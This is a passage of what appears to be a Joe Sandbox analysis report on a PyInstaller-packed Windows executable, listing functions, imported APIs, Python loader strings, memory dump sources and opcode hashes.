Opcode Fuzzy Hash: 1e818ce3d7a60ac953b6edb356e5c611bf03bd3223dab8e8a1ec707a6cadd3f1
Instruction Fuzzy Hash: 9521A132F0574989EB24AF68E4482EC73A0FB1931CFA40635D71C06AC9DFB9D584C760

Function 00007FF7B1106A88 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B11069ED

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c06f943cf2cfad6cae40bb945918742757c954c3eb67e691afc5a150f41a7f23
Instruction ID: 4f8362f1aa4bbe5e4c04838c13c6ccfaa69f3af9086557e24e48d888d527a5ba
Opcode Fuzzy Hash: c06f943cf2cfad6cae40bb945918742757c954c3eb67e691afc5a150f41a7f23
Instruction Fuzzy Hash: 4A118321E1868981EB60BF59A405279E360EFA6B88FA44031EB4C47A8ADFBCD5408720

Function 00007FF7B111728C Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B11172AF

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a2fd61d2380c2417d5794f115bbf4a656e75441d4a409d8b240f29f696bd49a
Instruction ID: 607a69ad079a2fd35f929c31d854b51cff3732e6200fdb68f916a560ac1dfe4d
Opcode Fuzzy Hash: 5a2fd61d2380c2417d5794f115bbf4a656e75441d4a409d8b240f29f696bd49a
Instruction Fuzzy Hash: A721B032A18A4686DB60AF18E440369F3A0EBA5B58FA54234EB5D467DDDBBCD4118B20

Function 00007FF7B1100ADC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1100B30

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f9b91d952c5f5bbb27c286856a89106101f2e0992174c8f8af0f54b7d3c9b46c
Instruction ID: 95353a2434b0e06fe433aa03fec3bf79416eab5c7a57ab3ab32d69abfee7bead
Opcode Fuzzy Hash: f9b91d952c5f5bbb27c286856a89106101f2e0992174c8f8af0f54b7d3c9b46c
Instruction Fuzzy Hash: F401A325E08B4940EB10AF5A6404069E795EB67FE8BA88230DF5C037CACEBCD5118310

Function 00007FF7B110F738 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF7B110BF86,?,?,?,00007FF7B110B147,?,?,00000000,00007FF7B110B3E2), ref: 00007FF7B110F78D

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fe294415788ef69df4791d37b3f3bc23e16fbf5a99c7a053f345730c87ab0e5c
Instruction ID: 97a9758e94078b147e51e99be244193034fac661b8b28b64839d47ba411acfbf
Opcode Fuzzy Hash: fe294415788ef69df4791d37b3f3bc23e16fbf5a99c7a053f345730c87ab0e5c
Instruction Fuzzy Hash: 96F04F54F0AB0F42FF547769795A6B5D3809FAAB48FA84430CB0D862C9DEDCA5814231

Function 00007FF7B110E19C Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FF7B1101304,?,?,?,00007FF7B1102816,?,?,?,?,?,00007FF7B1103E09), ref: 00007FF7B110E1DA

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f8a53f2717aa9a418a153665f15f668aef4399ea448e79edee1d71d72a1e7fd0
Instruction ID: de4c43c9ef071e0ee0f5a09b5ae6c7771e5886f68f6cacac7d08611ae698837b
Opcode Fuzzy Hash: f8a53f2717aa9a418a153665f15f668aef4399ea448e79edee1d71d72a1e7fd0
Instruction Fuzzy Hash: FFF05424F0A34F44FF54B66A79052B5D3408F76768F980230EF2E453C9DEACA5408130

Function 00007FF7B10F83E0 Relevance: 1.3, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: b0cd14334df36586a3d1a66714b126b768492b2c30ff2554616ad4f51034cb89
Instruction ID: f23eec77f51004b16e5629c50d636335733772b5f9a7431da1301952f582789a
Opcode Fuzzy Hash: b0cd14334df36586a3d1a66714b126b768492b2c30ff2554616ad4f51034cb89
Instruction Fuzzy Hash: 3941D816D1C68581EB11AB28D5462FCB360FBB6748FD49232DB8D4219BEF68F2D8C310

Non-executed Functions

Function 00007FF7B10F51E0 Relevance: 233.1, APIs: 44, Strings: 89, Instructions: 363libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,00007FF7B10F344E), ref: 00007FF7B10F51F0
GetProcAddress.KERNEL32(?,?,00000000,00007FF7B10F344E), ref: 00007FF7B10F522A
GetProcAddress.KERNEL32(?,?,00000000,00007FF7B10F344E), ref: 00007FF7B10F524F
GetProcAddress.KERNEL32(?,?,00000000,00007FF7B10F344E), ref: 00007FF7B10F5274
GetProcAddress.KERNEL32(?,?,00000000,00007FF7B10F344E), ref: 00007FF7B10F529C
GetProcAddress.KERNEL32(?,?,00000000,00007FF7B10F344E), ref: 00007FF7B10F52C4
GetProcAddress.KERNEL32(?,?,00000000,00007FF7B10F344E), ref: 00007FF7B10F52EC
GetProcAddress.KERNEL32(?,?,00000000,00007FF7B10F344E), ref: 00007FF7B10F5314
GetProcAddress.KERNEL32(?,?,00000000,00007FF7B10F344E), ref: 00007FF7B10F533C
GetProcAddress.KERNEL32(?,?,00000000,00007FF7B10F344E), ref: 00007FF7B10F5364

Strings

Failed to get address for PyImport_ImportModule, xrefs: 00007FF7B10F557E
PyObject_CallFunction, xrefs: 00007FF7B10F562A
Failed to get address for PyList_Append, xrefs: 00007FF7B10F55A6
PyConfig_SetString, xrefs: 00007FF7B10F53AA
PyImport_AddModule, xrefs: 00007FF7B10F5512
Failed to get address for PyErr_Occurred, xrefs: 00007FF7B10F548E
PyUnicode_Decode, xrefs: 00007FF7B10F57E2
Failed to get address for PyErr_Clear, xrefs: 00007FF7B10F5416
PyErr_Fetch, xrefs: 00007FF7B10F5422
Failed to get address for PyImport_AddModule, xrefs: 00007FF7B10F552E
Failed to get address for PyErr_Fetch, xrefs: 00007FF7B10F543E
PyList_Append, xrefs: 00007FF7B10F558A
PyErr_Clear, xrefs: 00007FF7B10F53FA
Py_PreInitialize, xrefs: 00007FF7B10F52E2
Failed to get address for PyRun_SimpleStringFlags, xrefs: 00007FF7B10F5736
Failed to get address for PyUnicode_FromFormat, xrefs: 00007FF7B10F584E
Failed to get address for Py_DecRef, xrefs: 00007FF7B10F5202
Failed to get address for PyConfig_SetBytesString, xrefs: 00007FF7B10F539E
Failed to get address for PyConfig_Clear, xrefs: 00007FF7B10F5326
Failed to get address for PySys_SetObject, xrefs: 00007FF7B10F57AE
PyStatus_Exception, xrefs: 00007FF7B10F5742
PyModule_GetDict, xrefs: 00007FF7B10F5602
PyUnicode_FromFormat, xrefs: 00007FF7B10F5832
PyUnicode_FromString, xrefs: 00007FF7B10F585A
PyObject_SetAttrString, xrefs: 00007FF7B10F56A2
PyConfig_SetBytesString, xrefs: 00007FF7B10F5382
Failed to get address for Py_PreInitialize, xrefs: 00007FF7B10F52FE
Failed to get address for PyUnicode_AsUTF8, xrefs: 00007FF7B10F57D6
Failed to get address for PyErr_Print, xrefs: 00007FF7B10F54B6
PyErr_Print, xrefs: 00007FF7B10F549A
Failed to get address for Py_IsInitialized, xrefs: 00007FF7B10F52D6
Failed to get address for PyConfig_InitIsolatedConfig, xrefs: 00007FF7B10F534E
Failed to get address for PyObject_SetAttrString, xrefs: 00007FF7B10F56BE
PyObject_CallFunctionObjArgs, xrefs: 00007FF7B10F5652
PySys_GetObject, xrefs: 00007FF7B10F576A
PyConfig_Clear, xrefs: 00007FF7B10F530A
Py_IsInitialized, xrefs: 00007FF7B10F52BA
PySys_SetObject, xrefs: 00007FF7B10F5792
Failed to get address for PyObject_Str, xrefs: 00007FF7B10F56E6
Failed to get address for PyStatus_Exception, xrefs: 00007FF7B10F575E
PyErr_Restore, xrefs: 00007FF7B10F54C2
PyObject_Str, xrefs: 00007FF7B10F56CA
Failed to get address for PyUnicode_Decode, xrefs: 00007FF7B10F57FE
Failed to get address for PyObject_CallFunctionObjArgs, xrefs: 00007FF7B10F566E
Py_InitializeFromConfig, xrefs: 00007FF7B10F5292
PyUnicode_DecodeFSDefault, xrefs: 00007FF7B10F580A
Failed to get address for PyMem_RawFree, xrefs: 00007FF7B10F55F6
Failed to get address for PyPreConfig_InitIsolatedConfig, xrefs: 00007FF7B10F570E
Failed to get address for PyUnicode_Join, xrefs: 00007FF7B10F589E
Failed to get address for Py_ExitStatusException, xrefs: 00007FF7B10F5261
PyUnicode_Join, xrefs: 00007FF7B10F5882
Failed to get address for PyConfig_SetString, xrefs: 00007FF7B10F53C6
Failed to get address for PyConfig_Read, xrefs: 00007FF7B10F5376
Failed to get address for PyConfig_SetWideStringList, xrefs: 00007FF7B10F53EE
PyMarshal_ReadObjectFromString, xrefs: 00007FF7B10F55B2
PyRun_SimpleStringFlags, xrefs: 00007FF7B10F571A
PyMem_RawFree, xrefs: 00007FF7B10F55DA
Failed to get address for PyEval_EvalCode, xrefs: 00007FF7B10F5506
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF7B10F56F2
PyErr_NormalizeException, xrefs: 00007FF7B10F544A
Py_ExitStatusException, xrefs: 00007FF7B10F5245
PyEval_EvalCode, xrefs: 00007FF7B10F54EA
PyConfig_SetWideStringList, xrefs: 00007FF7B10F53D2
PyImport_ExecCodeModule, xrefs: 00007FF7B10F553A
Failed to get address for PyUnicode_DecodeFSDefault, xrefs: 00007FF7B10F5826
Py_Finalize, xrefs: 00007FF7B10F526A
Failed to get address for Py_Finalize, xrefs: 00007FF7B10F5286
Failed to get address for Py_InitializeFromConfig, xrefs: 00007FF7B10F52AE
Py_DecRef, xrefs: 00007FF7B10F51E6
PyImport_ImportModule, xrefs: 00007FF7B10F5562
PyObject_GetAttrString, xrefs: 00007FF7B10F567A
PyUnicode_AsUTF8, xrefs: 00007FF7B10F57BA
Failed to get address for PyObject_CallFunction, xrefs: 00007FF7B10F5646
Failed to get address for PyMarshal_ReadObjectFromString, xrefs: 00007FF7B10F55CE
Failed to get address for PyModule_GetDict, xrefs: 00007FF7B10F561E
Failed to get address for PyUnicode_FromString, xrefs: 00007FF7B10F5876
PyUnicode_Replace, xrefs: 00007FF7B10F58AA
Failed to get address for PyImport_ExecCodeModule, xrefs: 00007FF7B10F5556
PyConfig_Read, xrefs: 00007FF7B10F535A
Failed to get address for PyErr_NormalizeException, xrefs: 00007FF7B10F5466
Failed to get address for Py_DecodeLocale, xrefs: 00007FF7B10F523C
Failed to get address for PyErr_Restore, xrefs: 00007FF7B10F54DE
PyErr_Occurred, xrefs: 00007FF7B10F5472
Failed to get address for PyObject_GetAttrString, xrefs: 00007FF7B10F5696
GetProcAddress, xrefs: 00007FF7B10F5209
Failed to get address for PySys_GetObject, xrefs: 00007FF7B10F5786
Py_DecodeLocale, xrefs: 00007FF7B10F5220
PyConfig_InitIsolatedConfig, xrefs: 00007FF7B10F5332
Failed to get address for PyUnicode_Replace, xrefs: 00007FF7B10F58C6

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for PyConfig_Clear$Failed to get address for PyConfig_InitIsolatedConfig$Failed to get address for PyConfig_Read$Failed to get address for PyConfig_SetBytesString$Failed to get address for PyConfig_SetString$Failed to get address for PyConfig_SetWideStringList$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyPreConfig_InitIsolatedConfig$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PyStatus_Exception$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetObject$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_ExitStatusException$Failed to get address for Py_Finalize$Failed to get address for Py_InitializeFromConfig$Failed to get address for Py_IsInitialized$Failed to get address for Py_PreInitialize$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 190572456-4266016200
Opcode ID: 0f541286951d05cfde1ee621bc5578c8d1597a0a29c56f9860b2b78389049273
Instruction ID: 4b5f1042b43432669bdee26e8ff32039a3fbe3ef682a7e4fe0f347a117865540
Opcode Fuzzy Hash: 0f541286951d05cfde1ee621bc5578c8d1597a0a29c56f9860b2b78389049273
Instruction Fuzzy Hash: 3512E96890EB0B90EF55AB0DB895174E3A1AF2775CFC51131CA1E4629CFFFCA168C264

Function 00007FF7B1114CFC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF7B1114D4A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B11153B6
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B111552C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B11157EA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1115A0A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1115C47
memcpy_s.LIBCPMT ref: 00007FF7B1115D22
memcpy_s.LIBCPMT ref: 00007FF7B1115DCD
memcpy_s.LIBCPMT ref: 00007FF7B1115E9C

Strings

1#INF, xrefs: 00007FF7B1114E73
1#SNAN, xrefs: 00007FF7B1114E5A
1#IND, xrefs: 00007FF7B1114E37
1#QNAN, xrefs: 00007FF7B1114E63

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: ee6ddb9c22397a02ef7f89c4ae9451cd5ee51806b236cf38c383584f5dc4b0f7
Instruction ID: f4802f65980e6c614c626644069e3e073edf090e3f3d0de2f874c21bb4626f79
Opcode Fuzzy Hash: ee6ddb9c22397a02ef7f89c4ae9451cd5ee51806b236cf38c383584f5dc4b0f7
Instruction Fuzzy Hash: 85B21A72E182868BE7A49E28E4407FCF7A1FB6734CF815135DB0957A8CDBB8A510CB50

Function 00007FF7B10F8560 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF7B10F2A3E,?,?,?,?,?,?,?,?,?,?,?,00007FF7B10F101D), ref: 00007FF7B10F8587
FormatMessageW.KERNEL32 ref: 00007FF7B10F85B6
WideCharToMultiByte.KERNEL32 ref: 00007FF7B10F860C

Part of subcall function 00007FF7B10F29C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7B10F88E2,?,?,?,?,?,?,?,?,?,?,?,00007FF7B10F101D), ref: 00007FF7B10F29F4
Part of subcall function 00007FF7B10F29C0: MessageBoxW.USER32 ref: 00007FF7B10F2AD0

Strings

WideCharToMultiByte, xrefs: 00007FF7B10F861D
PyInstallem: FormatMessageW failed., xrefs: 00007FF7B10F85D3
FormatMessageW, xrefs: 00007FF7B10F85C7
No error messages generated., xrefs: 00007FF7B10F85C0
PyInstallem: pyi_win32_utils_to_utf8 failed., xrefs: 00007FF7B10F8629
Failed to encode wchar_t as UTF-8., xrefs: 00007FF7B10F8616

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLastMessage$ByteCharFormatMultiWide
String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstallem: FormatMessageW failed.$PyInstallem: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
API String ID: 2920928814-3505189403
Opcode ID: 341253ed490ea0d4c0f2cc2c63e3841e2b0994626e2ed60ed720fa43fab6ebbb
Instruction ID: cec61defdc970f45ae875accb683576ebbb191fb7e2cc505c625211cb7d08493
Opcode Fuzzy Hash: 341253ed490ea0d4c0f2cc2c63e3841e2b0994626e2ed60ed720fa43fab6ebbb
Instruction Fuzzy Hash: 6921516160CA4682FB20EB59F8852A9E361BB6A78CFC40135D74D826ACEFBCD1158720

Function 00007FF7B10FC6AC Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7B10FC6C8
RtlCaptureContext.KERNEL32 ref: 00007FF7B10FC6F5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7B10FC70F
RtlVirtualUnwind.KERNEL32 ref: 00007FF7B10FC750
IsDebuggerPresent.KERNEL32 ref: 00007FF7B10FC7A4
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7B10FC7C1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7B10FC7CC

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: f0495aeca64e737fa0ff218dd5454e1fd46196f668a698fc407bc1dcdf963f54
Instruction ID: 43bde53a621ff0dd4b021b8292785c0cee4c040f568251dc01d4c9a533fb1315
Opcode Fuzzy Hash: f0495aeca64e737fa0ff218dd5454e1fd46196f668a698fc407bc1dcdf963f54
Instruction Fuzzy Hash: DC319272608B8586EB60AF65E8807EDB360FB95748F44403ADB4E47B98DF7CD158C720

Function 00007FF7B110B1B8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7B110B231
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7B110B249
RtlVirtualUnwind.KERNEL32 ref: 00007FF7B110B284
IsDebuggerPresent.KERNEL32 ref: 00007FF7B110B2BD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7B110B2C7
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7B110B2D2

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: fd667905384e7d9d9673078d4bc89f495a5f33449598c9bf886212c96aaa5de2
Instruction ID: 2ed63f9481a2b1971fad650c04083f3517250996f5dfbe633a6407e10b415811
Opcode Fuzzy Hash: fd667905384e7d9d9673078d4bc89f495a5f33449598c9bf886212c96aaa5de2
Instruction Fuzzy Hash: 02318F36608B8586DB209F29E8402AEB3A4FB99758F904136EB8D43B98DF7CD155CB10

Function 00007FF7B11124C4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1112510
FindFirstFileExW.KERNEL32 ref: 00007FF7B111261A

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
